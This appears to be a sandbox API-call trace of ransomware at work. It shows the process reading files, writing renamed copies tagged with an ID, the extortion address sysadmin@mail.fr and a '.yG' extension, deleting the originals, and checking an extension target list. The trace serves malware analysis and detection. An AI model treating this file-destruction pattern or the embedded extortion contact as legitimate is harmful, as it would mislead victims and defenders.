	[0044.361] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.361] SetEndOfFile (hFile=0x2e4) returned 1
	[0044.362] CloseHandle (hObject=0x2e4) returned 1
	[0044.362] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.363] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml")) returned 1
	[0044.363] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0044.363] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0044.363] lstrlenW (lpString=".doc") returned 4
	[0044.363] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.363] lstrlenW (lpString=".docx") returned 5
	[0044.363] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0044.363] lstrlenW (lpString=".pdf") returned 4
	[0044.363] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.363] lstrlenW (lpString=".xls") returned 4
	[0044.363] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.363] lstrlenW (lpString=".xlsx") returned 5
	[0044.363] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0044.363] lstrlenW (lpString=".ppt") returned 4
	[0044.363] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.363] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0044.363] lstrlenW (lpString=".zip") returned 4
	[0044.363] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.363] lstrlenW (lpString=".rar") returned 4
	[0044.363] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.363] lstrlenW (lpString=".bz2") returned 4
	[0044.363] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.363] lstrlenW (lpString=".7z") returned 3
	[0044.363] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.363] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0044.363] lstrlenW (lpString=".dbf") returned 4
	[0044.363] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.363] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0044.363] lstrlenW (lpString=".1cd") returned 4
	[0044.363] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.364] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0044.364] lstrlenW (lpString=".jpg") returned 4
	[0044.364] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.364] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0044.364] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0044.364] lstrlenW (lpString=".doc") returned 4
	[0044.364] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.364] lstrlenW (lpString=".docx") returned 5
	[0044.364] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0044.364] lstrlenW (lpString=".pdf") returned 4
	[0044.364] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.364] lstrlenW (lpString=".xls") returned 4
	[0044.364] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.364] lstrlenW (lpString=".xlsx") returned 5
	[0044.364] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0044.364] lstrlenW (lpString=".ppt") returned 4
	[0044.364] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.364] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0044.364] lstrlenW (lpString=".zip") returned 4
	[0044.364] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.364] lstrlenW (lpString=".rar") returned 4
	[0044.364] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.364] lstrlenW (lpString=".bz2") returned 4
	[0044.364] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.364] lstrlenW (lpString=".7z") returned 3
	[0044.364] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.364] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0044.364] lstrlenW (lpString=".dbf") returned 4
	[0044.364] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.364] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0044.364] lstrlenW (lpString=".1cd") returned 4
	[0044.364] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.364] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned 44
	[0044.364] lstrlenW (lpString=".jpg") returned 4
	[0044.364] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.365] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0044.365] lstrlenW (lpString="UiInfo.xml") returned 10
	[0044.365] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0044.365] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=39050) returned 1
	[0044.365] CloseHandle (hObject=0x2e4) returned 1
	[0044.365] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 0x80
	[0044.365] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.365] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0044.365] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.365] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.365] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0044.384] GetLastError () returned 0x0
	[0044.384] ReadFile (in: hFile=0x2e4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x988a, lpOverlapped=0x0) returned 1
	[0044.435] WriteFile (in: hFile=0x37c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x9890, lpOverlapped=0x0) returned 1
	[0044.437] ReadFile (in: hFile=0x2e4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.437] WriteFile (in: hFile=0x37c, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0044.437] SetEndOfFile (hFile=0x37c) returned 1
	[0044.437] CloseHandle (hObject=0x37c) returned 1
	[0044.438] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.438] SetEndOfFile (hFile=0x2e4) returned 1
	[0044.439] CloseHandle (hObject=0x2e4) returned 1
	[0044.439] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.439] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml")) returned 1
	[0044.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0044.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0044.440] lstrlenW (lpString=".doc") returned 4
	[0044.440] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.440] lstrlenW (lpString=".docx") returned 5
	[0044.440] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0044.440] lstrlenW (lpString=".pdf") returned 4
	[0044.440] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.440] lstrlenW (lpString=".xls") returned 4
	[0044.440] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.440] lstrlenW (lpString=".xlsx") returned 5
	[0044.440] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0044.440] lstrlenW (lpString=".ppt") returned 4
	[0044.440] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0044.440] lstrlenW (lpString=".zip") returned 4
	[0044.440] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.440] lstrlenW (lpString=".rar") returned 4
	[0044.440] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.440] lstrlenW (lpString=".bz2") returned 4
	[0044.440] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.440] lstrlenW (lpString=".7z") returned 3
	[0044.440] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0044.440] lstrlenW (lpString=".dbf") returned 4
	[0044.440] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.440] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0044.440] lstrlenW (lpString=".1cd") returned 4
	[0044.441] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0044.441] lstrlenW (lpString=".jpg") returned 4
	[0044.441] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0044.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0044.441] lstrlenW (lpString=".doc") returned 4
	[0044.441] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0044.441] lstrlenW (lpString=".docx") returned 5
	[0044.441] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1
	[0044.441] lstrlenW (lpString=".pdf") returned 4
	[0044.441] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0044.441] lstrlenW (lpString=".xls") returned 4
	[0044.441] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0044.441] lstrlenW (lpString=".xlsx") returned 5
	[0044.441] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1
	[0044.441] lstrlenW (lpString=".ppt") returned 4
	[0044.441] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0044.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0044.441] lstrlenW (lpString=".zip") returned 4
	[0044.441] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0044.441] lstrlenW (lpString=".rar") returned 4
	[0044.441] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0044.441] lstrlenW (lpString=".bz2") returned 4
	[0044.441] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0044.441] lstrlenW (lpString=".7z") returned 3
	[0044.441] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0044.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0044.441] lstrlenW (lpString=".dbf") returned 4
	[0044.441] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0044.441] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0044.441] lstrlenW (lpString=".1cd") returned 4
	[0044.442] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0044.442] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41
	[0044.442] lstrlenW (lpString=".jpg") returned 4
	[0044.442] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0044.442] lstrcmpiW (lpString1=".xsd", lpString2=".yG") returned -1
	[0044.442] lstrlenW (lpString="SetupUi.xsd") returned 11
	[0044.442] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0044.446] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=30120) returned 1
	[0044.446] CloseHandle (hObject=0x2e4) returned 1
	[0044.446] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80
	[0044.446] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0044.446] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0044.446] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.446] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.446] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0044.449] GetLastError () returned 0x0
	[0044.449] ReadFile (in: hFile=0x2e4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x75a8, lpOverlapped=0x0) returned 1
	[0044.882] WriteFile (in: hFile=0x2fc, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x75b0, lpOverlapped=0x0) returned 1
	[0044.884] ReadFile (in: hFile=0x2e4, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0044.884] WriteFile (in: hFile=0x2fc, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xea, lpOverlapped=0x0) returned 1
	[0044.884] SetEndOfFile (hFile=0x2fc) returned 1
	[0044.884] CloseHandle (hObject=0x2fc) returned 1
	[0044.885] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0044.885] SetEndOfFile (hFile=0x2e4) returned 1
	[0044.886] CloseHandle (hObject=0x2e4) returned 1
	[0044.886] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x80) returned 1
	[0044.886] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1
	[0044.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0044.886] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0044.886] lstrlenW (lpString=".doc") returned 4
	[0044.887] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1
	[0044.887] lstrlenW (lpString=".docx") returned 5
	[0044.887] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1
	[0044.887] lstrlenW (lpString=".pdf") returned 4
	[0044.887] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1
	[0044.887] lstrlenW (lpString=".xls") returned 4
	[0044.887] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1
	[0044.887] lstrlenW (lpString=".xlsx") returned 5
	[0044.887] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1
	[0044.887] lstrlenW (lpString=".ppt") returned 4
	[0044.887] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1
	[0044.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0044.887] lstrlenW (lpString=".zip") returned 4
	[0044.887] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1
	[0044.887] lstrlenW (lpString=".rar") returned 4
	[0044.887] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1
	[0044.887] lstrlenW (lpString=".bz2") returned 4
	[0044.887] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1
	[0044.887] lstrlenW (lpString=".7z") returned 3
	[0044.887] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1
	[0044.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0044.887] lstrlenW (lpString=".dbf") returned 4
	[0044.887] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1
	[0044.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0044.887] lstrlenW (lpString=".1cd") returned 4
	[0044.887] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1
	[0044.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0044.887] lstrlenW (lpString=".jpg") returned 4
	[0044.887] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1
	[0044.887] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0044.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0044.888] lstrlenW (lpString=".doc") returned 4
	[0044.888] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1
	[0044.888] lstrlenW (lpString=".docx") returned 5
	[0044.888] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1
	[0044.888] lstrlenW (lpString=".pdf") returned 4
	[0044.888] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1
	[0044.888] lstrlenW (lpString=".xls") returned 4
	[0044.888] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1
	[0044.888] lstrlenW (lpString=".xlsx") returned 5
	[0044.888] lstrcmpiW (lpString1=".xlsx", lpString2="i.xsd") returned -1
	[0044.888] lstrlenW (lpString=".ppt") returned 4
	[0044.888] lstrcmpiW (lpString1=".ppt", lpString2=".xsd") returned -1
	[0044.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0044.888] lstrlenW (lpString=".zip") returned 4
	[0044.888] lstrcmpiW (lpString1=".zip", lpString2=".xsd") returned 1
	[0044.888] lstrlenW (lpString=".rar") returned 4
	[0044.888] lstrcmpiW (lpString1=".rar", lpString2=".xsd") returned -1
	[0044.888] lstrlenW (lpString=".bz2") returned 4
	[0044.888] lstrcmpiW (lpString1=".bz2", lpString2=".xsd") returned -1
	[0044.888] lstrlenW (lpString=".7z") returned 3
	[0044.888] lstrcmpiW (lpString1=".7z", lpString2="xsd") returned -1
	[0044.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0044.888] lstrlenW (lpString=".dbf") returned 4
	[0044.888] lstrcmpiW (lpString1=".dbf", lpString2=".xsd") returned -1
	[0044.888] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0044.888] lstrlenW (lpString=".1cd") returned 4
	[0044.889] lstrcmpiW (lpString1=".1cd", lpString2=".xsd") returned -1
	[0044.889] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33
	[0044.889] lstrlenW (lpString=".jpg") returned 4
	[0044.889] lstrcmpiW (lpString1=".jpg", lpString2=".xsd") returned -1
	[0044.889] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0044.889] lstrlenW (lpString="C2RHeartbeatConfig.xml") returned 22
	[0044.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0045.077] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=4136) returned 1
	[0045.077] CloseHandle (hObject=0x37c) returned 1
	[0045.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 0x20
	[0045.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0045.077] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0045.077] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0045.077] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0045.078] GetLastError () returned 0x0
	[0045.078] ReadFile (in: hFile=0x37c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x1028, lpOverlapped=0x0) returned 1
	[0045.080] WriteFile (in: hFile=0x2e4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x1030, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x1030, lpOverlapped=0x0) returned 1
	[0045.081] ReadFile (in: hFile=0x37c, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0045.081] WriteFile (in: hFile=0x2e4, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x100, lpOverlapped=0x0) returned 1
	[0045.081] SetEndOfFile (hFile=0x2e4) returned 1
	[0045.081] CloseHandle (hObject=0x2e4) returned 1
	[0045.082] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0045.082] SetEndOfFile (hFile=0x37c) returned 1
	[0045.082] CloseHandle (hObject=0x37c) returned 1
	[0045.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0045.083] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rheartbeatconfig.xml")) returned 1
	[0045.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0045.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0045.083] lstrlenW (lpString=".doc") returned 4
	[0045.083] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.083] lstrlenW (lpString=".docx") returned 5
	[0045.083] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0045.083] lstrlenW (lpString=".pdf") returned 4
	[0045.083] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.083] lstrlenW (lpString=".xls") returned 4
	[0045.083] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.083] lstrlenW (lpString=".xlsx") returned 5
	[0045.083] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0045.083] lstrlenW (lpString=".ppt") returned 4
	[0045.083] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned 80
	[0045.083] lstrlenW (lpString=".zip") returned 4
	[0045.083] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.083] lstrlenW (lpString=".rar") returned 4
	[0045.083] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
